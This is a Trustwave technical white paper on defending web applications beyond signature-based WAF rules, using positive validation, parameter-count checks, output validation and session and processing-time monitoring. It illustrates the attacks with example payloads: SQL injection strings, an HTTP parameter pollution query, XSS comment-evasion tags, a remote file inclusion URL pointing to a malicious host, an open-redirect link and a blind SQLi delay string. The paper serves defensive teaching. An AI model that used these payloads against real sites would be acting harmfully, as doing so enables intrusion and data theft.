Beyond Negative Security: Advanced Methods to Protect Web Applications

Overview

Many Web security solutions, including some Web application firewalls (WAFs), focus on signature-based protection. In this technical white paper, we will explore the shortcomings of such an approach and how more advanced methods such as "positive" security session monitoring and application processing monitoring are crucial in protecting a Web application.

Signatures are not Always Enough

Many of today's attacks exploit vulnerabilities that are a result of the evolution of Web applications; these attacks are complex and sophisticated enough to manipulate and abuse them.

Relying solely on signatures to detect those attacks is not enough:

1. Signatures can lead to false positives: A pattern that indicates attack in one case can indicate legitimate usage in other cases, so creating effective generic signatures is not always possible.
2. Signatures are subject to evasion: There are many techniques that can be used to evade security filters[1], such as different encoding, comment evasion and HTTP parameter fragmentation.
3. Attacks on the application can include forbidden patterns: Attackers can manipulate application logic in order to exploit the application. This kind of attack exploits the application by using valid input in unexpected situations, for example, when the attacker manipulates hidden fields in a shopping cart application to change the total payment.

These problems and more have created the need to find other ways to enhance protection of Web applications. The examples below present the risks that the negative approach alone cannot solve, with proposed enhancements designed to mitigate those risks.

It should be noted that generic signatures are generic patterns that are used to detect exploits of known security vulnerabilities, regardless of the way they are used, whereas using specific signatures can lead to endless combinations (see the next section, SQL Injection – Input Validation).

For example, the pattern <script> can be used in order to detect XSS in a variety of HTTP locations (URL, parameter value, parameter name, multipart form and more). The pattern <script> by itself is enough to detect the attack, so there's no need to examine the rest of the attack payload.

Beyond the Negative Approach

SQL Injection - Input Validation

"Positive" security, also known as whitelisting, is the idea that, in order to establish generic protection of a Web application, we define what is considered valid data by defining specific attributes in the data. When a malicious user attacks, it will be detected as an anomaly and the transaction will be blocked.

The most common and practical way to use positive security is to perform input validation on inbound attributes such as: length, character set group and type. One way positive input validation is being used effectively is in SQL injection detection; an example of SQL injection detection is given by the OWASP Top 10. Take a look at this request payload:

[1] Filter refers to any security device including WAF, IDS and IPS.

Normal request:

http://site/app/accountView?id=1

And with attacker payload:

http://site/app/accountView?id=' or '1'='1

The problem is that the attack payload is ***' or '1'='1***. This allows an attacker to use also the payload ***' or '2'='2*** or ***'or '2'>'1***. The possibilities of injecting SQL Boolean payloads are endless, and so detecting the attack, based only on negative security, is not enough.

Positive Input Validation

Validating the properties of the parameter "id" against a whitelist will do the trick; in this case, the 'id' value should be a positive integer with a limited length, so when the above SQL injection payload is used, we will receive two violations: incorrect character group (unpermitted characters such as " ' = < >) and incorrect value length.

But input validation by itself is not enough. Other methods should be used to detect a variety of attacks that cannot be detected otherwise, as presented below.

HTTP Parameter Pollutions (HPP) - Enforcing Parameter Count

A new attack vector was introduced in 2009 by Web application security researchers Stefano di Paola and Luca Carettoni**.** This attack involves injection of the attack payload in multiple appearances of the same parameter, where later on they will be aggregated by the Web application.

For example:

http://site/index.php?var1=select field1&var1=,field2 from table&var1=where name=test HTTP/1.0

This parameter value may be concatenated on the server side to give the following:

Select field1,field2 from table where name=test

The Problem

Detecting this kind of attack using negative security is problematic, since the attack payload is split between parameters. In order to detect such an attack, the filter would need to do one of the following:

- Search for the negative pattern on all raw request data; this solution may result in false positives.
- Perform the same parameter handling as the Web application and look for the negative pattern in the aggregated data; the problem with this approach is that Web applications concatenate differently, so we need to take all the possible permutations into account or predict the method used in each Web application.

Restricting Parameter Count

Validation of the number of parameters passed can indicate an attack if more than the allowed number is included. However, experience has shown that to base attack detection solely on the number of parameters can lead to false positives. This can be solved quite effectively by combining parameter monitoring with the detection of the attack pattern (negative security).

For example, for detecting the attack shown in the beginning of this section, the following rule would work:

Violation of number of appearance + keyword "select"

Stored Cross-Site Scripting (XSS) - Output Validation

Stored XSS is a variant of the well-known attack, XSS, where in the stored XSS the attack payload is injected into the application and may be activated on future transactions. This increases the chances of a successful injection.

The Problem

If the injection is not detected (see example below) the impact of the attack may be felt by many users of the application.

An example of an XSS attack that may go undetected can be seen at RSnake cheat sheet - http://ha.ckers.org/xss.html (comment evasion).

The following example can be detected easily:

(1) <IMG STYLE="xss:expression(alert('XSS'))">

The one below, however, contains comment evasion, which may pass through some filters' detection:

(2) <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

Output Validation Solution

Performing validation on the allowed number of images in the Web application reply (or any other HTML entity that can be used as an XSS payload), can detect anomalies that are the result of a successful stored XSS attack.

For example, in this page, the number of images is 1:

<HTML> <HEAD> <TITLE>testing outbound validation</TITLE> </HEAD> <BODY> <SCRIPT type="text/javascript" src="/tmp/script/section.js"></SCRIPT> <IMG id="img_logo" src="http://www.site.com/logo2.gif" /> </BODY>

A successful XSS attack (such as example #2, above) will be reflected in the reply.

<HTML> <HEAD> <TITLE>testing outbound validation</TITLE> </HEAD> <BODY> <SCRIPT type="text/javascript" src="/tmp/script/section.js"></SCRIPT> <IMG id="img_logo" src="http://www.site.com/logo2.gif" /> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> </BODY>

Output validation should detect an image, number of appearances violation.

Two items of note: one, the comment evasion example above can also be solved by applying a transformation function on the attack payload, resulting in omitting the entire comment payload and searching for signatures on the sanitized payload. Outbound validation can solve other evasions such as Unicode encoding. Two, output validation is a major subject, but mentioned only briefly in this paper.

Remote File Inclusion (RFI) - Conditional Validation

Remote file inclusion (RFI) is a technique used to attack Web applications from a remote computer. Remote file inclusion attacks allow malicious users to run their own code on a vulnerable Web server.

To exploit the vulnerability in an RFI attack, the user will send a request similar to the following:

http://site/?FORMAT=http://www.malicuos_site.com/hacker.txt? HTTP/1.1

The Problem

As described above, an attack will exploit poor parameter validation by sending URLs in the input to include a remote source file; on the receiving server, the URL pattern is considered valid input. This makes it hard to create generic protection for Web applications and therefore each parameter can be considered a target for attack.

Conditional Validation Solution

A conditional validation protection approach should include a definition of the type of the parameters in the Web application. The definition should include two different parameter types:

- URL
- Free text

A conditional validation rule using this configuration to detect an RFI attack should include the following two conditions:

1. Request parameter is not of type URL or free text
2. The parameter value must include the URL pattern

If the request parameter is of type URL or free text, allow URL inclusion only from allowed domains.

Forceful Browsing - Session Monitoring

Forceful browsing attacks allow the malicious user access to restricted areas of the application. This may happen when the user is accessing the restricted page directly (often as a result of a configuration error) and not by following links in the application. This problem can also be the result of insufficient authorization that can lead to the attacker being able to access restricted resources without the right privileges.

The Problem

It is possible to use the negative security approach for errors in configuration that lead to browsing between unlinked pages, but this requires knowing which pages are the privileged pages in the application. The problem of insufficient authorization cannot be mitigated using signatures.

Session Monitoring Solution

Validation should be done according to the following information:

- File limitation: The simplest solution is limiting the files that are accessible to users; in this scenario access to a file not on the list should be denied.
- Session: Accessing the resource requires a valid Web application session identifier. Pages that require a valid session to access will check that such a session exists in the user transaction.
- User login: Before accessing the resource, the user must login to the application. Pages that require login to the application before accessing them will check that such an action was made.

The shortcoming of the "file limitation" solution is that it requires a large degree of configuration and tuning that cannot be achieved easily by automatic learning. Monitoring of session and user login is the recommended solution because these attributes can indicate whether the user accessed the resource with the right privileges.

URL Redirection - Conditional Validation

A redirect facility is a function of the application that transfers users to different pages within or outside an application. Common uses of this facility are:

- Jumping back from a login page to the original page which required authentication
- Monitoring use of outbound clicks by presenting the user with a local URL that redirects to the external resource
- Continuing shopping after a visit to the shopping cart page for adding further items

The redirect parameter is used to provide the redirect function with the target URL. A request for redirection might appear as follows:

http://site/redirect.php?to=http://site/target.html

An open redirect is a redirect function that will accept any URL and redirect to it, without first validating its value. Open redirects are used by attackers to create a link to their site which looks genuine as it includes the expected domain name.

http://site/redirect.php?to=http://malicious_site.com/hacker.html

The redirection can also be used with a relative reference, to a file located within the application. This redirection is vulnerable if file uploads to the application are permitted and the attacker can redirect to his own malicious uploaded file.

The Problem

Using the negative security approach in this case is not simple and may be not effective because allowed values are known while disallowed values are endless. When the parameter value is a URL, knowing which values are not permitted is not a trivial matter. Checking for allowed values is simpler and more reliable.

The Conditional Validation Solution

Validation should be done according to the following information:

- Domain: The redirection should be allowed only to trusted domains.
- Internal reference: The redirection should be allowed to locations within the application.
- Constant field: In cases where the redirection was seen in the previous transaction as a link sent by the Web application (as part of the URL) and the same redirect value should appear in the current request.

These attributes can indicate whether the redirection is valid or not.

Blind SQL Injection - Application Processing Monitoring

Hackers typically test for SQL injection vulnerabilities by sending input to the application that causes the server to generate an invalid SQL query. If the server returns an error message to the client, the attacker will attempt to reverse-engineer portions of the original SQL query using the information contained in the error messages. The typical administrative safeguard is simply to prevent the display of detailed database or Web server error messages.

Unfortunately, even if the application does not return error messages, it may still be susceptible to "blind" SQL injection attacks. Blind SQL injection uses specially crafted injection queries. These queries rely on the success or failure alone to retrieve sufficient information for the hacker to progress to the next stage. A normal page output indicates success, while a non-detailed error message indicates failure. This method also works if the application traps the error, and displays a non-technical error message.

As the attacker is "blind," meaning he cannot see any difference in the output, he will need to use some form of waiting function and analyze response times.

The Problem

The difference between successful and unsuccessful SQL injection is not clear in many cases. As described above, a successful blind SQL injection attack can receive the same reply as an innocent request to the application.

Application Processing Monitoring Solution

Some blind SQL injection attacks use waiting functions to retrieve information from the application. For example:

```
http://site/product.asp/?p=20;waitfor delay '0:0:50'-- HTTP/1.0
```

In the example above, a successful attack will delay the reply for 50 seconds. By monitoring the processing time of the application, we will be able to validate application processing and detect any deviation from the allowed processing time. Another example of using application processing monitoring as a security filter can be found in a single request denial of service (DoS) attack.

In most cases, this attack exposes a poorly written application that performs inefficiently when a small number of user transactions are processed. For example, writing a series of individual non-optimized SQL statements or invoking a recursive business logic flow can create a heavy load on the system, allowing a single user to succeed in making a DoS attack on the application.

In such cases, application processing monitoring can detect replies that deviate from the normal processing time. It should be noted that this kind of application processing monitoring can also be used for other attacks that may lead to a change in the processing time of the application, such as SQL injection and data mirroring.

Summary

This paper presents several examples that illustrate why security professionals must go "beyond negative security" when protecting Web applications. More research is required to create additional complementary solutions to the negative security approach. Depending solely on negative security can expose Web applications to unnecessary risks that could be mitigated by non-signature based methods.

While solutions such as session monitoring, outbound validation, positive security and application processing monitoring can be effective when defined manually, this is not a realistic approach; they should be combined with automatic learning and tuning to allow scalable security for any application.

About Trustwave

Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper® compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations—ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers—manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia.